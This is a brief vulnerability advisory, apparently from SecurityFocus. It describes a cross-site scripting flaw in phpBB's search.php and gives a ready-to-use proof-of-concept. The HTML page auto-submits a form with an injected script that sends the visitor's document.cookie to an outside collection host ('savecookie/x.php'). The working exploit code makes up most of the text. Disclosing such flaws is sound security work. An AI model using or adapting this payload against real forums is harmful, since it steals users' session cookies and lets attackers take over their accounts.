source: https://www.securityfocus.com/bid/6311/info phpBB is vulnerable to cross site scripting attacks. This is due to insufficient santization of user-supplied input. The problem is located in the search.php script. This issue may be exploited by an attacker to steal a legitimate users cookie-based authentication credentials. <html> <body> <form method="post" name="search" action="http://target/search.php?mode=searchuser"> <input type="hidden" name="search_username" value=""/> </form> <SCRIPT> search.search_username.value='Http://savecookie/x.php?Cookie="><script>location=search.search_username.value+document.cookie;</script\>'; document.search.submit(); </script> </body> </html>